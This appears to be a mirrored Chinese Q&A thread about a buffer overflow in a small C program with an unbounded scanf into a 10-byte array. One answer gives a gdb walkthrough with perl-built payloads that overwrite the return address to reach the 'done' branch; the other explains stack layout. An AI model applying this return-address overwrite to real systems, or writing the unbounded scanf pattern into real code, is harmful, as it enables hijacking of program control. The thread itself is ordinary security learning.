如何让内存溢出

问题描述 投票:0回答:2

我试图导致缓冲区溢出来覆盖变量以执行 if 语句的第一部分。但是,每次我尝试这样做时,执行 if 语句的第二部分都会发生分段错误。

这是代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(){
    char username[10];
    volatile int password = 0;
    scanf("%s", username);
    if(password != 0){
        printf("done\n");
    }else{
        printf("tryharder\n");
    }
    return 0;
}

我用gcc编译它:

 gcc pwn.c -o pwn

我也尝试过:

 gcc pwn.c -o pwn -fno-stack-protector

当我尝试导致内存溢出时,我使用:

 kali@salluc:~/$ ./pwn
 00000000000000000000000000000000000000000000000000
 tryharder
 Segmentation fault

我想知道我应该做什么才能覆盖密码变量以及为什么我使用的方法不起作用。

c gcc buffer-overflow
2个回答
1
投票

尝试覆盖堆栈,将 RIP(在 x86_64 上,当今最常用的架构)指向

if(password != 0)
条件之后的部分。编译然后在gdb中调试它看起来像这样:

[marshall@jerkon]{10:27 PM}: [~/Hack] $ gcc aba.c -o aba -fno-stack-protector -ggdb
[marshall@jerkon]{10:28 PM}: [~/Hack] $ gdb ./aba
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./aba...
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
tryharder
tryharder

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) disas main
Dump of assembler code for function main:
   0x0000555555555169 <+0>:     endbr64
   0x000055555555516d <+4>:     push   %rbp
   0x000055555555516e <+5>:     mov    %rsp,%rbp
   0x0000555555555171 <+8>:     sub    $0x10,%rsp
   0x0000555555555175 <+12>:    movl   $0x0,-0x10(%rbp)
   0x000055555555517c <+19>:    lea    -0xa(%rbp),%rax
   0x0000555555555180 <+23>:    mov    %rax,%rsi
   0x0000555555555183 <+26>:    lea    0xe7a(%rip),%rdi        # 0x555555556004
   0x000055555555518a <+33>:    mov    $0x0,%eax
   0x000055555555518f <+38>:    callq  0x555555555070 <__isoc99_scanf@plt>
   0x0000555555555194 <+43>:    mov    -0x10(%rbp),%eax
   0x0000555555555197 <+46>:    test   %eax,%eax
   0x0000555555555199 <+48>:    je     0x5555555551a9 <main+64>
   0x000055555555519b <+50>:    lea    0xe65(%rip),%rdi        # 0x555555556007
   0x00005555555551a2 <+57>:    callq  0x555555555060 <puts@plt>
   0x00005555555551a7 <+62>:    jmp    0x5555555551b5 <main+76>
   0x00005555555551a9 <+64>:    lea    0xe5c(%rip),%rdi        # 0x55555555600c
   0x00005555555551b0 <+71>:    callq  0x555555555060 <puts@plt>
   0x00005555555551b5 <+76>:    mov    $0x0,%eax
   0x00005555555551ba <+81>:    leaveq
   0x00005555555551bb <+82>:    retq
End of assembler dump.
(gdb) break 10
Breakpoint 1 at 0x555555555194: file aba.c, line 10.
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")

Breakpoint 1, main () at aba.c:10
10          if(password != 0){
(gdb) stepi
10          if(password != 0){
(gdb) stepi
0x0000555555555199      10          if(password != 0){
(gdb) stepi
13              printf("tryharder\n");
(gdb) info reg
rax            0x0                 0
rbx            0x5555555551c0      93824992235968
rcx            0x0                 0
rdx            0x0                 0
rsi            0xa                 10
rdi            0x7fffffffdb30      140737488345904
rbp            0x7fffffffe080      0x7fffffffe080
rsp            0x7fffffffe070      0x7fffffffe070
r8             0xa                 10
r9             0x7c                124
r10            0x7ffff7fa8be0      140737353780192
r11            0x246               582
r12            0x555555555080      93824992235648
r13            0x7fffffffe170      140737488347504
r14            0x0                 0
r15            0x0                 0
rip            0x5555555551a9      0x5555555551a9 <main+64>
eflags         0x246               [ PF ZF IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) cont
Continuing.
tryharder

Breakpoint 1, main () at aba.c:10
10          if(password != 0){
(gdb)
Continuing.
tryharder

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) r <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')

Breakpoint 1, main () at aba.c:10
10          if(password != 0){
(gdb) cont
Continuing.
tryharder

Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) disas main
Dump of assembler code for function main:
   0x0000555555555169 <+0>:     endbr64
   0x000055555555516d <+4>:     push   %rbp
   0x000055555555516e <+5>:     mov    %rsp,%rbp
   0x0000555555555171 <+8>:     sub    $0x10,%rsp
   0x0000555555555175 <+12>:    movl   $0x0,-0x10(%rbp)
   0x000055555555517c <+19>:    lea    -0xa(%rbp),%rax
   0x0000555555555180 <+23>:    mov    %rax,%rsi
   0x0000555555555183 <+26>:    lea    0xe7a(%rip),%rdi        # 0x555555556004
   0x000055555555518a <+33>:    mov    $0x0,%eax
   0x000055555555518f <+38>:    callq  0x555555555070 <__isoc99_scanf@plt>
   0x0000555555555194 <+43>:    mov    -0x10(%rbp),%eax
   0x0000555555555197 <+46>:    test   %eax,%eax
   0x0000555555555199 <+48>:    je     0x5555555551a9 <main+64>
   0x000055555555519b <+50>:    lea    0xe65(%rip),%rdi        # 0x555555556007
   0x00005555555551a2 <+57>:    callq  0x555555555060 <puts@plt>
   0x00005555555551a7 <+62>:    jmp    0x5555555551b5 <main+76>
   0x00005555555551a9 <+64>:    lea    0xe5c(%rip),%rdi        # 0x55555555600c
   0x00005555555551b0 <+71>:    callq  0x555555555060 <puts@plt>
   0x00005555555551b5 <+76>:    mov    $0x0,%eax
   0x00005555555551ba <+81>:    leaveq
   0x00005555555551bb <+82>:    retq
End of assembler dump.
(gdb) break 11
Breakpoint 2 at 0x55555555519b: file aba.c, line 11.
(gdb) r <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')

Breakpoint 1, main () at aba.c:10
10          if(password != 0){
(gdb) next
13              printf("tryharder\n");
(gdb) next
tryharder
15          return 0;
(gdb) next
16      }
(gdb) next

Breakpoint 2, main () at aba.c:11
11              printf("done\n");
(gdb) next
done
15          return 0;
(gdb) next
16      }
(gdb) next

Program received signal SIGBUS, Bus error.
main () at aba.c:16
16      }
(gdb) q
A debugging session is active.

        Inferior 1 [process 336779] will be killed.

Quit anyway? (y or n) y
[marshall@jerkon]{10:34 PM}: [~/Hack] $ 

你会发现24个字符允许你通过反复试验来覆盖堆栈上的返回指针。然后,一旦你让它崩溃,你会看到尽可能多的41(大写“A”)适合缓冲区,然后进入内存的另一部分(0x0000555555555555区域之外)。现在在您想要跳转到的位置设置一个断点,您可以使用break 来完成此操作,也可以使用内存地址,或者任何您觉得舒服的东西。然后(现在注意 ti 是向后的),您可以使用 A 在内存中构建 RIP 覆盖,然后写入 665544332211 作为占位符。当它尝试跳转到 0x0000112233445566 处的下一条指令时,您应该会遇到错误。当你玩它的时候,你可以看到像

0x0000112233445566 in ?? ()
一样的行中的数字就是你将到达的地址。现在只需插入最接近您的:

printf("done\n");

我的系统上是:

   0x000055555555519b <+50>:    lea    0xe65(%rip),%rdi        # 0x555555556007

再次向后插入新的已知值。然后如您所见,当您看到(在我放置断点#2之后)时,覆盖将完成:

Breakpoint 2, main () at aba.c:11
11              printf("done\n");
(gdb) next
done

这个 BoF 非常琐碎,但你应该了解基本概念。在这里您可以找到有关缓冲区溢出的更多信息。在实践中,您将启用堆栈保护,即内核随机堆栈,并且通常它比跳转到不同的指令要复杂得多,您可能需要 shellcode 等。


1
投票

如何让内存溢出

您正在这样做 - 将超过 10 个字节放入

password
数组中,使其溢出。

我应该怎么做才能覆盖密码变量

在 x86 上,堆栈向数字较低的地址增长。您必须在用户名之前输入密码,或者转移到不同的平台。

#include <stdio.h>    
int main() {
    volatile int password = 0;
    char username[10];
    scanf("%s", username);
    if(password != 0){
        printf("done\n");
    }else{
        printf("tryharder\n");
    }
    return 0;
}

为什么我使用的方法不起作用。

因为它不会覆盖

password
变量,所以它会覆盖不相关的堆栈。

© www.soinside.com 2019 - 2024. All rights reserved.